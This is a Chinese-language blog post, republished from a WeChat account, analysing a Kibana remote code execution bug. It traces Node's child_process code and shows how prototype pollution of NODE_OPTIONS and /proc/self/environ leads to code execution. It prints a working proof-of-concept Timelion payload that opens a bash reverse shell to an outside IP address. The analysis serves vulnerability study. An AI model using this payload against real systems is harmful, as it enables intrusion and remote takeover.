Nodejs的子进程创建
如何获取客户端参数的代码写在了proccess.js中,我们关注下客户端参数解析
以上代码是nodejs的exec方法的核心代码(卧槽,node自举了)。 可以看到代码调用了
normalizeExecArgs(command, options, callback);
而其中的options,是我们传入的命令行的参数,这个函数又调用了
function normalizeSpawnArguments,而这个函数又调用了execFile,而execFile调用了spawn,而在spawn 里定义了这样的代码
const env = options.env || process.env; 获取客户端的options
const envPairs = [];
// process.env.NODE_V8_COVERAGE always propagates, making it possible to
// collect coverage for programs that spawn with white-listed environment.
if (process.env.NODE_V8_COVERAGE &&
!ObjectPrototype.hasOwnProperty(options.env || {}, 'NODE_V8_COVERAGE')) {
env.NODE_V8_COVERAGE = process.env.NODE_V8_COVERAGE;
}
// Prototype values are intentionally included.
for (const key in env) {
const value = env[key];
if (value !== undefined) {
envPairs.push(`${key}=${value}`);
}
}
作者核心点
作者在命令行下尝试了
这是在shell里设置了一个NODE_OPTIONS的值和AAA环境变量,其中NODE_OPTIONS是可以这么写的,官方允许传递这样的参数,具体的文档在http://nodejs.cn/api/cli/node_options_options.html
关于.env和process.env和/proc/self/environ
简单的说就是object.env下的属性就会被写入到/proc/self/environ里。
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
根据作者核心思路“在shell下传递options可以包含环境变量来执行代码也可以通过污染原型链来设置环境变量”,我们开始尝试使用代码来设置环境变量而不是shell。
如何在代码里设置环境变量?
答案是通过原型链污染,我们先污染object.env,也就是设置label.__proto__.env.NODE_OPTIONS,这样的话我们去访问process.env.NODE_OPTIONS就是我们设置的值,根据上面nodejs核心代码child_process.js的逻辑,我们传递的options最终会变成spawn的一个参数 ,作为环境变量执行。
文件包含获得shell
最后我们通过label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ' 的设置了process.env.NODE_OPTIONS的值,被node读取到了,然后根据官方手册里写的,相当于运行了node --require “xxx.xxx” (就和php里的include 一样,node require的不一定非要是js文件,就和php不一定要是php文件一样)
Poc的另外一句话是:
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/192.168.0.136/12345 0>&1");process.exit()//')
这里的AAA也是会被写入到/proc/self/environ,最后的环境变量应该是
AAA= require("child_process").exec("bash -i >& /dev/tcp/192.168.0.136/12345 0>&1");process.exit()//NODE_OPTIONS=--require /proc/self/environYarn_VERSION=1.17.3HOSTNAME=7da7727ddePWD=balabalabalabala#^&*(*&^%$
几个重要的知识:
1.设置了xx.env.aaa的内容会被写入/proc/self/environ里,怎么设置?通过原型链
2.Poc设置了2个环境变量,一个被注释了
3.NODE_OPTIONS自nodeV8.0.0后才开始(如果你没成功,那么可以排查下nodejs的版本)
其他
聪明的你肯定知道 还有其他的办法可以RCE!可以利用的地方很多,原型链撕开了一个攻击面,而NODE_OPTIONS只是一个点。
原文始发于微信公众号(Fintech 安全之路):Kibana RCE漏洞详细分析教程
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论